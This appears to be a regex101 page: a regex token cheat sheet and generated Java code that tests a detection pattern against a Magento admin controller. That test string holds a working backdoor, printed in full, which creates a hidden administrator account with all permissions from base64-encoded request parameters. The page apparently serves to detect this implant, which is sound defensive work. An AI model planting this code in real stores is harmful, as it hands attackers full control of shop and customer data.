Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Match everything enclosed
    (?:...)
  • Capture everything enclosed
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "public function directiveAction\\(\\)\\s*\\{\\s*\\Kif\\(isset\\(\\$\\w+\\[['\"][^\\{]+\\{\\s*\\$\\w+=base64_decode\\(\\$\\w+\\[[^;]+;\\s*if\\(preg_match\\(['\"]\\/_rieqyns13_was_here[^\\{]+\\{\\s*preg_match\\(\"\\/_rieqyns13_was_here[^\\{]+\\{\\s*\\$user[\\s=]+Mage\\:+getModel\\('admin\\/user'\\)\\s*->setdata\\(array\\(\\s*'username.*?setname(*COMMIT)\\(['\"]Inchoo.{0,700}?setRoleIds\\(array\\(\\$role(?:[^\\}]+\\}\\s*)+?echo\\s*['\"]success['\"];exit;\\s*\\}\\s*if\\(preg_match\\(['\"][^\\{]+\\{\\s*header\\(['\"].{0,50}?Unauthorized['\"]\\);exit;\\s*\\}\\s*\\}(?=\\s*\\$directive = \\$this->getRequest\\(\\)->getParam\\('___directive'\\);)"; final String string = "\n" + " * @category Mage\n" + " * @package Mage_Adminhtml\n" + " * @author Magento Core Team <core@magentocommerce.com>\n" + " */\n" + "class Mage_Adminhtml_Cms_WysiwygController extends Mage_Adminhtml_Controller_Action\n" + "{\n" + " /**\n" + " * Template directives callback\n" + " *\n" + " * TODO: move this to some model\n" + " */\n" + " public function directiveAction()\n" + " {\n" + " if(isset($_REQUEST[\"filter\"])){\n" + " $jembot=base64_decode($_REQUEST[\"filter\"]);\n" + " if(preg_match(\"/_rieqyns13_was_here/\",$jembot)){\n" + " preg_match(\"/_rieqyns13_was_here(.+?)_rieqyns13_(.+?)_rieqyns13_was_here/\",$jembot,$m);\n" + " $base = getcwd();\n" + " \n" + " require_once $base.\"/app/Mage.php\";\n" + " Mage::app();\n" + " $user=null;\n" + " $role=null;\n" + " try {\n" + " $user = Mage::getModel('admin/user')\n" + " ->setData(array(\n" + " 'username' => base64_decode($m[1]),\n" + " 'firstname' => 'Developer',\n" + " 'lastname' => 'User',\n" + " 'email' => 'developer'.rand(0,10000).'@'.$_SERVER['SERVER_NAME'],\n" + " 'password' => base64_decode($m[2]),\n" + " 'is_active' => 1\n" + " ))->save();\n\n" + " } catch (Exception $e) {\n" + " echo $e->getMessage();\n" + " exit;\n" + " }\n" + " try {\n" + " $role = Mage::getModel(\"admin/roles\")\n" + " ->setName('Inchoo')\n" + " ->setRoleType('G')\n" + " ->save();\n" + " \n" + " Mage::getModel(\"admin/rules\")\n" + " ->setRoleId($role->getId())\n" + " ->setResources(array(\"all\"))\n" + " ->saveRel();\n\n" + " } catch (Mage_Core_Exception $e) {\n" + " echo $e->getMessage();\n" + " exit;\n" + " } catch (Exception $e) {\n" + " echo 'Error while saving role.';\n" + " exit;\n" + " }\n\n" + " try {\n" + " $user->setRoleIds(array($role->getId()))\n" + " ->setRoleUserId($user->getUserId())\n" + " ->saveRelations();\n\n" + " } catch (Exception $e) {\n" + " echo $e->getMessage();\n" + " exit;\n" + " }\n" + " echo \"Success\";exit;\n\n" + " }\n" + " if(preg_match(\"/insert/i\",$jembot)){\n" + " header(\"HTTP/1.1 403 Unauthorized\");exit;\n" + " }\n" + " \n" + " }\n" + " $directive = $this->getRequest()->getParam('___directive');\n" + " $directive = Mage::helper('core')->urlDecode($directive);\n" + " $url = Mage::getModel('core/email_template_filter')->filter($directive);\n" + " try {\n" + " $image = Varien_Image_Adapter::factory('GD2');\n" + " $image->open($url);\n" + " $image->display();\n" + " } catch (Exception $e) {\n" + " $image = Varien_Image_Adapter::factory('GD2');\n" + " $image->open(Mage::getSingleton('cms/wysiwyg_config')->getSkinImagePlaceholderUrl());\n" + " $image->display();\n" + " /*\n" + " $image = imagecreate(100, 100);\n" + " $bkgrColor = imagecolorallocate($image,10,10,10);\n" + " imagefill($image,0,0,$bkgrColor);\n" + " $textColor = imagecolorallocate($image,255,255,255);\n" + " imagestring($image, 4, 10, 10, 'Skin image', $textColor);\n" + " header('Content-type: image/png');\n" + " imagepng($image);\n" + " imagedestroy($image);\n" + " */\n" + " }\n" + " }\n" + "}"; final Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE | Pattern.DOTALL); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html